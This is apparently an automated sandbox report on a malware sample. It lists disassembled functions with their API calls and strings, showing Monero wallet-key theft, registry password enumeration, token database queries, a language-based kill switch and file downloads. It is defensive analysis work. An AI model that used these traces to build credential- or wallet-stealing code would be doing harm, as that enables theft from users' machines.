Part of subcall function 00B099C0: ReadFile.KERNEL32(000000FF,?,00000000,00B0148F,00000000), ref: 00B09A5A
Part of subcall function 00B099C0: LocalFree.KERNEL32(00B0148F), ref: 00B09A90
Part of subcall function 00B099C0: CloseHandle.KERNEL32(000000FF), ref: 00B09A9A

Part of subcall function 00B193C0: GlobalAlloc.KERNEL32(00000000,00B143DD,00B143DD), ref: 00B193D3

StrStrA.SHLWAPI(?,011FDB50), ref: 00B143F3
GlobalFree.KERNEL32(?), ref: 00B14512

Part of subcall function 00B09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09AEF
Part of subcall function 00B09AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B04EEE,00000000,?), ref: 00B09B01
Part of subcall function 00B09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09B2A
Part of subcall function 00B09AC0: LocalFree.KERNEL32(?,?,?,?,00B04EEE,00000000,?), ref: 00B09B3F

lstrcat.KERNEL32(?,00000000), ref: 00B144A3
StrCmpCA.SHLWAPI(?,00B208D1), ref: 00B144C0
lstrcat.KERNEL32(00000000,00000000), ref: 00B144D2
lstrcat.KERNEL32(00000000,?), ref: 00B144E5
lstrcat.KERNEL32(00000000,00B20FB8), ref: 00B144F4

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: ef19f767c697911159780f826ca3cbb6d4f3069f39494762cee0f58bc56d283f
Instruction ID: 0d0753805446abd2602faf6dc289a0454f32f4f411858b9581be740b6e1156fe
Opcode Fuzzy Hash: ef19f767c697911159780f826ca3cbb6d4f3069f39494762cee0f58bc56d283f
Instruction Fuzzy Hash: A47146B6910208ABDB14EFE4DC85FEE77B9BB58300F4045D8F605A7181EA34DB45CBA1

Function 00B01310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B012B4
Part of subcall function 00B012A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B012BB
Part of subcall function 00B012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00B012D7
Part of subcall function 00B012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B012F5
Part of subcall function 00B012A0: RegCloseKey.ADVAPI32(?), ref: 00B012FF

lstrcat.KERNEL32(?,00000000), ref: 00B0134F
lstrlen.KERNEL32(?), ref: 00B0135C
lstrcat.KERNEL32(?,.keys), ref: 00B01377

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B18B60: GetSystemTime.KERNEL32(00B20E1A,011FA058,00B205AE,?,?,00B013F9,?,0000001A,00B20E1A,00000000,?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B18B86

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00B01465

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B099EC
Part of subcall function 00B099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B09A11
Part of subcall function 00B099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B09A31
Part of subcall function 00B099C0: ReadFile.KERNEL32(000000FF,?,00000000,00B0148F,00000000), ref: 00B09A5A
Part of subcall function 00B099C0: LocalFree.KERNEL32(00B0148F), ref: 00B09A90
Part of subcall function 00B099C0: CloseHandle.KERNEL32(000000FF), ref: 00B09A9A

DeleteFileA.KERNEL32(00000000), ref: 00B014EF

Strings

.keys, xrefs: 00B0136B
wallet_path, xrefs: 00B01330
SOFTWARE\monero-project\monero-core, xrefs: 00B01335
\Monero\wallet.keys, xrefs: 00B0138D

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9f9a49e6e526b3c2e41ec26b6f8f8b011db426fb7ea3060999fd2960c8d4c48e
Instruction ID: 3cb182d9eb898eee2b845940c2f966bd116c801351f374adcc7748a7a254a8a5
Opcode Fuzzy Hash: 9f9a49e6e526b3c2e41ec26b6f8f8b011db426fb7ea3060999fd2960c8d4c48e
Instruction Fuzzy Hash: A45103B1D5011957DB15FB60DD92AED73BCAF54310F8045D8B60AA2092EE306BCACBA6

Function 00B075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00B0733A
Part of subcall function 00B072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B073B1
Part of subcall function 00B072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B0740D
Part of subcall function 00B072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00B07452
Part of subcall function 00B072D0: HeapFree.KERNEL32(00000000), ref: 00B07459

lstrcat.KERNEL32(00000000,00B217FC), ref: 00B07606
lstrcat.KERNEL32(00000000,00000000), ref: 00B07648
lstrcat.KERNEL32(00000000, : ), ref: 00B0765A
lstrcat.KERNEL32(00000000,00000000), ref: 00B0768F
lstrcat.KERNEL32(00000000,00B21804), ref: 00B076A0
lstrcat.KERNEL32(00000000,00000000), ref: 00B076D3
lstrcat.KERNEL32(00000000,00B21808), ref: 00B076ED
task.LIBCPMTD ref: 00B076FB

Strings

: , xrefs: 00B0764E

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: adc2377613e57356b40aeee0e109ee403ac712616f872708144aada427a538b5
Instruction ID: 7a6a8c066fad21f07df55415f63512eeece005bb25da50f1e55553c984705936
Opcode Fuzzy Hash: adc2377613e57356b40aeee0e109ee403ac712616f872708144aada427a538b5
Instruction Fuzzy Hash: 1F314B79D40609DBCB04EFE8DC95DEE7BB8EB49301B144198E106A72A0DE34AA46DB61

Function 00B18100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,011FD8E0,00000000,?,00B20E2C,00000000,?,00000000), ref: 00B18130
RtlAllocateHeap.NTDLL(00000000), ref: 00B18137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B18158
__aulldiv.LIBCMT ref: 00B18172
__aulldiv.LIBCMT ref: 00B18180
wsprintfA.USER32 ref: 00B181AC

Strings

@, xrefs: 00B1814D
%d MB, xrefs: 00B181A3

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 2965fede34af23eefb1fd9f45a6c3937c81fbcc26a48e0c4143a05fbf55508e9
Instruction ID: 67f9c55e80755e404e645dff08834cf071aa9c25bdbb692d403e5ef6eafd7655
Opcode Fuzzy Hash: 2965fede34af23eefb1fd9f45a6c3937c81fbcc26a48e0c4143a05fbf55508e9
Instruction Fuzzy Hash: 15211AB1E44318ABDB00DFD8DC49FAEB7B8FB48B10F504649F605BB280D77869018BA5

Function 00B060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B04839
Part of subcall function 00B047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B04849

InternetOpenA.WININET(00B20DF7,00000001,00000000,00000000,00000000), ref: 00B0610F
StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B06147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00B0618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00B061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00B061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B0620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00B06249
InternetCloseHandle.WININET(?), ref: 00B06253
InternetCloseHandle.WININET(00000000), ref: 00B06260

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e66afc4a340ee9671ce61c045876a8265edd5c5a2bdced875eb5be912cbaf67f
Instruction ID: 2de9723168e57e0760369a5ba899b56b754594dec8dbd53a255244238c7a2898
Opcode Fuzzy Hash: e66afc4a340ee9671ce61c045876a8265edd5c5a2bdced875eb5be912cbaf67f
Instruction Fuzzy Hash: E1513DB5940218ABDB20DF64DC49BEE7BF8FB44701F5080D8B605A72C1DB746A89CFA5

Function 00B072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00B0733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B0740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00B07452
HeapFree.KERNEL32(00000000), ref: 00B07459
task.LIBCPMTD ref: 00B07555

Strings

Password, xrefs: 00B07401

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 62625943d363ee6e31703ae6accde4d89468c54dbeceeff88ba32130975d4149
Instruction ID: 279ca1c01bbac6eeb03b45b9ec91b6682104a8360980688e1191dfdb3785a79d
Opcode Fuzzy Hash: 62625943d363ee6e31703ae6accde4d89468c54dbeceeff88ba32130975d4149
Instruction Fuzzy Hash: 6661FCB5D441589BDB24DB50DC45BD9B7F8BF54300F0081E9E689A6281DF706BC9CFA1

Function 00B0BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

lstrlen.KERNEL32(00000000), ref: 00B0BC9F

Part of subcall function 00B18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B18E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00B0BCCD
lstrlen.KERNEL32(00000000), ref: 00B0BDA5
lstrlen.KERNEL32(00000000), ref: 00B0BDB9

Strings

AccountId, xrefs: 00B0BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00B0BBEB
AccountTokens, xrefs: 00B0BB49
AccountTokens, xrefs: 00B0BABA

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 50fb32668b001e3520d371e7d12f1a4e9283136ac7e01440264ee1b8539ee953
Instruction ID: 89e172662b3309d876835808e5f204053336238e17134f0c7c57685b4040d54e
Opcode Fuzzy Hash: 50fb32668b001e3520d371e7d12f1a4e9283136ac7e01440264ee1b8539ee953
Instruction Fuzzy Hash: CCB17371911108ABDB04FBA4DD96EEE73BDAF14310F804598F506B6191EF347E89CB62

Function 00B16770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B16774
ExitProcess.KERNEL32 ref: 00B167A5
ExitProcess.KERNEL32 ref: 00B167AF
ExitProcess.KERNEL32 ref: 00B167B9
ExitProcess.KERNEL32 ref: 00B167C3
ExitProcess.KERNEL32 ref: 00B167CD

Strings

*, xrefs: 00B1678C

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 54f1a6a180a99d4cea2501d31182fca80d55bbdc5db326654c6018d403409fae
Instruction ID: a7d6f33d6f6bc961b6540a61567b043b5c6e34846e14cbde2d1776904d64f1cf
Opcode Fuzzy Hash: 54f1a6a180a99d4cea2501d31182fca80d55bbdc5db326654c6018d403409fae
Instruction Fuzzy Hash: 50F03A34984309EFE3549FE8A90976C7B70FB06702F040199F709C63D0DA704E419BE6

Function 00B04FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B04FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00B04FD1
InternetOpenA.WININET(00B20DDF,00000000,00000000,00000000,00000000), ref: 00B04FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00B05011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00B05041
InternetCloseHandle.WININET(?), ref: 00B050B9
InternetCloseHandle.WININET(?), ref: 00B050C6

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
